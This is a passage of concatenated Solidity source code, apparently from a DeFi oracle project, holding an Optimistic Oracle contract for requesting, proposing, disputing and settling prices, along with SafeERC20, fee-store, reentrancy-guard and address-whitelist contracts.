priceProposed( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external; /** * @notice Callback for disputes. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data of the price being requested. * @param refund refund received in the case that refundOnDispute was enabled. */ function priceDisputed( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 refund ) external; /** * @notice Callback for settlement. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data of the price being requested. * @param price price that was resolved by the escalation process. */ function priceSettled( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 price ) external; } /** * @title Optimistic Oracle. * @notice Pre-DVM escalation contract that allows faster settlement. */ contract OptimisticOracle is OptimisticOracleInterface, Testable, Lockable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; event RequestPrice( address indexed requester, bytes32 identifier, uint256 timestamp, bytes ancillaryData, address currency, uint256 reward, uint256 finalFee ); event ProposePrice( address indexed requester, address indexed proposer, bytes32 identifier, uint256 timestamp, bytes ancillaryData, int256 proposedPrice, uint256 expirationTimestamp, address currency ); event DisputePrice( address indexed requester, address indexed proposer, address indexed disputer, bytes32 identifier, uint256 timestamp, bytes ancillaryData, int256 proposedPrice ); event Settle( address indexed requester, address indexed proposer, address indexed disputer, bytes32 identifier, uint256 timestamp, bytes ancillaryData, int256 price, uint256 payout ); mapping(bytes32 => Request) public requests; // Finder to provide addresses for DVM contracts. FinderInterface public finder; // Default liveness value for all price requests. uint256 public defaultLiveness; /** * @notice Constructor. * @param _liveness default liveness applied to each price request. * @param _finderAddress finder to use to get addresses of DVM contracts. * @param _timerAddress address of the timer contract. Should be 0x0 in prod. */ constructor( uint256 _liveness, address _finderAddress, address _timerAddress ) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); _validateLiveness(_liveness); defaultLiveness = _liveness; } /** * @notice Requests a new price. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data representing additional args being passed with the price request. * @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM. * @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0, * which could make sense if the contract requests and proposes the value in the same call or * provides its own reward system. * @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay. * This can be changed with a subsequent call to setBond(). */ function requestPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, IERC20 currency, uint256 reward ) external override nonReentrant() returns (uint256 totalBond) { require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Invalid, "requestPrice: Invalid"); require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier"); require(_getCollateralWhitelist().isOnWhitelist(address(currency)), "Unsupported currency"); require(timestamp <= getCurrentTime(), "Timestamp in future"); require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data"); uint256 finalFee = _getStore().computeFinalFee(address(currency)).rawValue; requests[_getId(msg.sender, identifier, timestamp, ancillaryData)] = Request({ proposer: address(0), disputer: address(0), currency: currency, settled: false, refundOnDispute: false, proposedPrice: 0, resolvedPrice: 0, expirationTime: 0, reward: reward, finalFee: finalFee, bond: finalFee, customLiveness: 0 }); if (reward > 0) { currency.safeTransferFrom(msg.sender, address(this), reward); } emit RequestPrice(msg.sender, identifier, timestamp, ancillaryData, address(currency), reward, finalFee); // This function returns the initial proposal bond for this request, which can be customized by calling // setBond() with the same identifier and timestamp. return finalFee.mul(2); } /** * @notice Set the proposal bond associated with a price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param bond custom bond amount to set. * @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be * changed again with a subsequent call to setBond(). */ function setBond( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 bond ) external override nonReentrant() returns (uint256 totalBond) { require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setBond: Requested"); Request storage request = _getRequest(msg.sender, identifier, timestamp, ancillaryData); request.bond = bond; // Total bond is the final fee + the newly set bond. return bond.add(request.finalFee); } /** * @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller * in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's * bond, so there is still profit to be made even if the reward is refunded. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. */ function setRefundOnDispute( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external override nonReentrant() { require( getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setRefundOnDispute: Requested" ); _getRequest(msg.sender, identifier, timestamp, ancillaryData).refundOnDispute = true; } /** * @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before * being auto-resolved. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param customLiveness new custom liveness. */ function setCustomLiveness( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 customLiveness ) external override nonReentrant() { require( getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setCustomLiveness: Requested" ); _validateLiveness(customLiveness); _getRequest(msg.sender, identifier, timestamp, ancillaryData).customLiveness = customLiveness; } /** * @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come * from this proposal. However, any bonds are pulled from the caller. * @param proposer address to set as the proposer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePriceFor( address proposer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) public override nonReentrant() returns (uint256 totalBond) { require(proposer != address(0), "proposer address must be non 0"); require( getState(requester, identifier, timestamp, ancillaryData) == State.Requested, "proposePriceFor: Requested" ); Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData); request.proposer = proposer; request.proposedPrice = proposedPrice; // If a custom liveness has been set, use it instead of the default. request.expirationTime = getCurrentTime().add( request.customLiveness != 0 ? request.customLiveness : defaultLiveness ); totalBond = request.bond.add(request.finalFee); if (totalBond > 0) { request.currency.safeTransferFrom(msg.sender, address(this), totalBond); } emit ProposePrice( requester, proposer, identifier, timestamp, ancillaryData, proposedPrice, request.expirationTime, address(request.currency) ); // Callback. if (address(requester).isContract()) try OptimisticRequester(requester).priceProposed(identifier, timestamp, ancillaryData) {} catch {} } /** * @notice Proposes a price value for an existing price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) external override returns (uint256 totalBond) { // Note: re-entrancy guard is done in the inner call. return proposePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData, proposedPrice); } /** * @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will * receive any rewards that come from this dispute. However, any bonds are pulled from the caller. * @param disputer address to set as the disputer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was valid (the proposal was incorrect). */ function disputePriceFor( address disputer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public override nonReentrant() returns (uint256 totalBond) { require(disputer != address(0), "disputer address must be non 0"); require( getState(requester, identifier, timestamp, ancillaryData) == State.Proposed, "disputePriceFor: Proposed" ); Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData); request.disputer = disputer; uint256 finalFee = request.finalFee; uint256 bond = request.bond; totalBond = bond.add(finalFee); if (totalBond > 0) { request.currency.safeTransferFrom(msg.sender, address(this), totalBond); } StoreInterface store = _getStore(); // Avoids stack too deep compilation error. { // Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it // proportionally more expensive to delay the resolution even if the proposer and disputer are the same // party. uint256 burnedBond = _computeBurnedBond(request); // The total fee is the burned bond and the final fee added together. uint256 totalFee = finalFee.add(burnedBond); if (totalFee > 0) { request.currency.safeIncreaseAllowance(address(store), totalFee); _getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee)); } } _getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester)); // Compute refund. uint256 refund = 0; if (request.reward > 0 && request.refundOnDispute) { refund = request.reward; request.reward = 0; request.currency.safeTransfer(requester, refund); } emit DisputePrice( requester, request.proposer, disputer, identifier, timestamp, ancillaryData, request.proposedPrice ); // Callback. if (address(requester).isContract()) try OptimisticRequester(requester).priceDisputed(identifier, timestamp, ancillaryData, refund) {} catch {} } /** * @notice Disputes a price value for an existing price request with an active proposal. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was valid (the proposal was incorrect). */ function disputePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external override returns (uint256 totalBond) { // Note: re-entrancy guard is done in the inner call. return disputePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData); } /** * @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled * or settleable. Note: this method is not view so that this call may actually settle the price request if it * hasn't been settled. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return resolved price. */ function settleAndGetPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external override nonReentrant() returns (int256) { if (getState(msg.sender, identifier, timestamp, ancillaryData) != State.Settled) { _settle(msg.sender, identifier, timestamp, ancillaryData); } return _getRequest(msg.sender, identifier, timestamp, ancillaryData).resolvedPrice; } /** * @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes * the returned bonds as well as additional rewards. */ function settle( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external override nonReentrant() returns (uint256 payout) { return _settle(requester, identifier, timestamp, ancillaryData); } /** * @notice Gets the current data structure containing all information about a price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the Request data structure. */ function getRequest( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view override returns (Request memory) { return _getRequest(requester, identifier, timestamp, ancillaryData); } /** * @notice Computes the current state of a price request. See the State enum for more details. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the State. */ function getState( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view override returns (State) { Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData); if (address(request.currency) == address(0)) { return State.Invalid; } if (request.proposer == address(0)) { return State.Requested; } if (request.settled) { return State.Settled; } if (request.disputer == address(0)) { return request.expirationTime <= getCurrentTime() ? State.Expired : State.Proposed; } return _getOracle().hasPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester)) ? State.Resolved : State.Disputed; } /** * @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price). * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return boolean indicating true if price exists and false if not. */ function hasPrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view override returns (bool) { State state = getState(requester, identifier, timestamp, ancillaryData); return state == State.Settled || state == State.Resolved || state == State.Expired; } /** * @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute. * @param ancillaryData ancillary data of the price being requested. * @param requester sender of the initial price request. * @return the stampped ancillary bytes. */ function stampAncillaryData(bytes memory ancillaryData, address requester) public pure returns (bytes memory) { return _stampAncillaryData(ancillaryData, requester); } function _getId( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) private pure returns (bytes32) { return keccak256(abi.encodePacked(requester, identifier, timestamp, ancillaryData)); } function _settle( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) private returns (uint256 payout) { State state = getState(requester, identifier, timestamp, ancillaryData); // Set it to settled so this function can never be entered again. Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData); request.settled = true; if (state == State.Expired) { // In the expiry case, just pay back the proposer's bond and final fee along with the reward. request.resolvedPrice = request.proposedPrice; payout = request.bond.add(request.finalFee).add(request.reward); request.currency.safeTransfer(request.proposer, payout); } else if (state == State.Resolved) { // In the Resolved case, pay either the disputer or the proposer the entire payout (+ bond and reward). request.resolvedPrice = _getOracle().getPrice( identifier, timestamp, _stampAncillaryData(ancillaryData, requester) ); bool disputeSuccess = request.resolvedPrice != request.proposedPrice; uint256 bond = request.bond; // Unburned portion of the loser's bond = 1 - burned bond. uint256 unburnedBond = bond.sub(_computeBurnedBond(request)); // Winner gets: // - Their bond back. // - The unburned portion of the loser's bond. // - Their final fee back. // - The request reward (if not already refunded -- if refunded, it will be set to 0). payout = bond.add(unburnedBond).add(request.finalFee).add(request.reward); request.currency.safeTransfer(disputeSuccess ? request.disputer : request.proposer, payout); } else { revert("_settle: not settleable"); } emit Settle( requester, request.proposer, request.disputer, identifier, timestamp, ancillaryData, request.resolvedPrice, payout ); // Callback. if (address(requester).isContract()) try OptimisticRequester(requester).priceSettled(identifier, timestamp, ancillaryData, request.resolvedPrice) {} catch {} } function _getRequest( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) private view returns (Request storage) { return requests[_getId(requester, identifier, timestamp, ancillaryData)]; } function _computeBurnedBond(Request storage request) private view returns (uint256) { // burnedBond = floor(bond / 2) return request.bond.div(2); } function _validateLiveness(uint256 _liveness) private pure { require(_liveness < 5200 weeks, "Liveness too large"); require(_liveness > 0, "Liveness cannot be 0"); } function _getOracle() internal view returns (OracleAncillaryInterface) { return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getCollateralWhitelist() internal view returns (AddressWhitelist) { return AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist)); } function _getStore() internal view returns (StoreInterface) { return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store)); } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } // Stamps the ancillary data blob with the optimistic oracle tag denoting what contract requested it. function _stampAncillaryData(bytes memory ancillaryData, address requester) internal pure returns (bytes memory) { return abi.encodePacked(ancillaryData, "OptimisticOracle", requester); } } pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @title Interface that allows financial contracts to pay oracle fees for their use of the system. */ interface StoreInterface { /** * @notice Pays Oracle fees in ETH to the store. * @dev To be used by contracts whose margin currency is ETH. */ function payOracleFees() external payable; /** * @notice Pays oracle fees in the margin currency, erc20Address, to the store. * @dev To be used if the margin currency is an ERC20 token rather than ETH. * @param erc20Address address of the ERC20 token used to pay the fee. * @param amount number of tokens to transfer. An approval for at least this amount must exist. */ function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external; /** * @notice Computes the regular oracle fees that a contract should pay for a period. * @param startTime defines the beginning time from which the fee is paid. * @param endTime end time until which the fee is paid. * @param pfc "profit from corruption", or the maximum amount of margin currency that a * token sponsor could extract from the contract through corrupting the price feed in their favor. * @return regularFee amount owed for the duration from start to end time for the given pfc. * @return latePenalty for paying the fee after the deadline. */ function computeRegularFee( uint256 startTime, uint256 endTime, FixedPoint.Unsigned calldata pfc ) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty); /** * @notice Computes the final oracle fees that a contract should pay at settlement. * @param currency token used to pay the final fee. * @return finalFee amount due. */ function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Financial contract facing Oracle interface. * @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface. */ abstract contract OptimisticOracleInterface { // Struct representing the state of a price request. enum State { Invalid, // Never requested. Requested, // Requested, no other actions taken. Proposed, // Proposed, but not expired or disputed yet. Expired, // Proposed, not disputed, past liveness. Disputed, // Disputed, but no DVM price returned yet. Resolved, // Disputed and DVM price is available. Settled // Final price has been set in the contract (can get here from Expired or Resolved). } // Struct representing a price request. struct Request { address proposer; // Address of the proposer. address disputer; // Address of the disputer. IERC20 currency; // ERC20 token used to pay rewards and fees. bool settled; // True if the request is settled. bool refundOnDispute; // True if the requester should be refunded their reward on dispute. int256 proposedPrice; // Price that the proposer submitted. int256 resolvedPrice; // Price resolved once the request is settled. uint256 expirationTime; // Time at which the request auto-settles without a dispute. uint256 reward; // Amount of the currency to pay to the proposer on settlement. uint256 finalFee; // Final fee to pay to the Store upon request to the DVM. uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee. uint256 customLiveness; // Custom liveness value set by the requester. } // This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible // that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses // to accept a price request made with ancillary data length of a certain size. uint256 public constant ancillaryBytesLimit = 8192; /** * @notice Requests a new price. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data representing additional args being passed with the price request. * @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM. * @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0, * which could make sense if the contract requests and proposes the value in the same call or * provides its own reward system. * @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay. * This can be changed with a subsequent call to setBond(). */ function requestPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, IERC20 currency, uint256 reward ) external virtual returns (uint256 totalBond); /** * @notice Set the proposal bond associated with a price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param bond custom bond amount to set. * @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be * changed again with a subsequent call to setBond(). */ function setBond( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 bond ) external virtual returns (uint256 totalBond); /** * @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller * in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's * bond, so there is still profit to be made even if the reward is refunded. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. */ function setRefundOnDispute( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual; /** * @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before * being auto-resolved. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param customLiveness new custom liveness. */ function setCustomLiveness( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 customLiveness ) external virtual; /** * @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come * from this proposal. However, any bonds are pulled from the caller. * @param proposer address to set as the proposer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePriceFor( address proposer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) public virtual returns (uint256 totalBond); /** * @notice Proposes a price value for an existing price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) external virtual returns (uint256 totalBond); /** * @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will * receive any rewards that come from this dispute. However, any bonds are pulled from the caller. * @param disputer address to set as the disputer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was value (the proposal was incorrect). */ function disputePriceFor( address disputer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public virtual returns (uint256 totalBond); /** * @notice Disputes a price value for an existing price request with an active proposal. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was valid (the proposal was incorrect). */ function disputePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (uint256 totalBond); /** * @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled * or settleable. Note: this method is not view so that this call may actually settle the price request if it * hasn't been settled. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return resolved price. */ function settleAndGetPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (int256); /** * @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes * the returned bonds as well as additional rewards. */ function settle( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (uint256 payout); /** * @notice Gets the current data structure containing all information about a price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the Request data structure. */ function getRequest( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (Request memory); function getState( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (State); /** * @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price). * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the State. */ function hasPrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract * is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol * and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol. */ contract Lockable { bool private _notEntered; constructor() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _preEntranceCheck(); _preEntranceSet(); _; _postEntranceReset(); } /** * @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method. */ modifier nonReentrantView() { _preEntranceCheck(); _; } // Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method. // On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered. // Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`. // View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered. function _preEntranceCheck() internal view { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); } function _preEntranceSet() internal { // Any calls to nonReentrant after this point will fail _notEntered = false; } function _postEntranceReset() internal { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Lockable.sol"; /** * @title A contract to track a whitelist of addresses. */ contract AddressWhitelist is Ownable, Lockable { enum Status { None, In, Out } mapping(address => Status) public whitelist; address[] public whitelistIndices; event AddedToWhitelist(address indexed addedAddress); event RemovedFromWhitelist(address indexed removedAddress); /** * @notice Adds an address to the whitelist. * @param newElement the new address to add. */ function addToWhitelist(address newElement) external nonReentrant() onlyOwner { // Ignore if address is already included if (whitelist[newElement] == Status.In) { return; } // Only append new addresses to the array, never a duplicate if (whitelist[newElement] == Status.None) { whitelistIndices.push(newElement); } whitelist[newElement] = Status.In; emit AddedToWhitelist(newElement); } /** * @notice Removes an address from the whitelist. * @param elementToRemove the existing address to remove. */ function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner { if (whitelist[elementToRemove] != Status.Out) { whitelist[elementToRemove] = Status.Out; emit RemovedFromWhitelist(elementToRemove); } } /** * @notice Checks whether an address is on the whitelist. * @param elementToCheck the address to check. * @return True if `elementToCheck` is on the whitelist, or False. */ function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) { return whitelist[elementToCheck] == Status.In; } /** * @notice Gets all addresses that are currently included in the whitelist. * @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out * of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we * can modify the implementation so that when addresses are removed, the last addresses in the array is moved to * the empty index. * @return activeWhitelist the list of addresses on the whitelist. */ function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) { // Determine size of whitelist first uint256 activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { if (whitelist[whitelistIndices[i]] == Status.In) { activeCount++; } } // Populate whitelist activeWhitelist = new address[](activeCount); activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { address addr = whitelistIndices[i]; if (whitelist[addr] == Status.In) { activeWhitelist[activeCount] = addr; activeCount++; } } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import 